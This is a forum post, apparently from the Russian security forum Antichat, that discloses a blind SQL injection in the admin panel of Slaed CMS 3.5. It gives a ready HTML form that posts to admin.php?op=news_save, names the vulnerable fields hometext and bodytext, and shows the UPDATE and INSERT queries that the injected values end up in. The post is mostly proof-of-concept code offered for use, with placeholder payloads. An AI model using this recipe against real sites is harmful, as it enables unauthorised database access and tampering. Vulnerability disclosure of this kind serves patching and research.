Форум АНТИЧАТ - Показать сообщение отдельно

Blind SQL-Injection в админке Slaed CMS 3.5:

Код:

<form method="POST" action="http://site/admin.php?op=news_save">
 sid: <input type="text" name="sid"/><br />
 subject: <input type="text" name="subject" value="subject"/><br />
 hometext: <input type="text" name="hometext" value="SQL1"/><br />
 postname: <input type="text" name="postname" value="postname"/><br />
 bodytext: <input type="text" name="bodytext" value="SQL2"/><br />
 posttype: <input type="text" name="posttype" value="save"/><br />
 <input type="submit" />
</form>

Уязвимы поля hometext и bodytext. Если установлено поле sid, то запрос выглядит так:

Код:

UPDATE TKR_stories SET catid='', aid='postname', title='subject', time='2008-5-11 16:45:00', hometext='SQL1', bodytext='SQL2', field='', ihome='', acomm='', associated='', status='1' WHERE sid='1'

Если поле sid не установлено, то так:

Код:

INSERT INTO TKR_stories VALUES (NULL, '', 'postname', 'subject', '2008-5-11 16:47:00', 'SQL1', 'SQL2', '', '0', '0', '', '', '0', '0', '', '1')

Остальные поля должны быть установлены, у поля posttype должно быть значение save.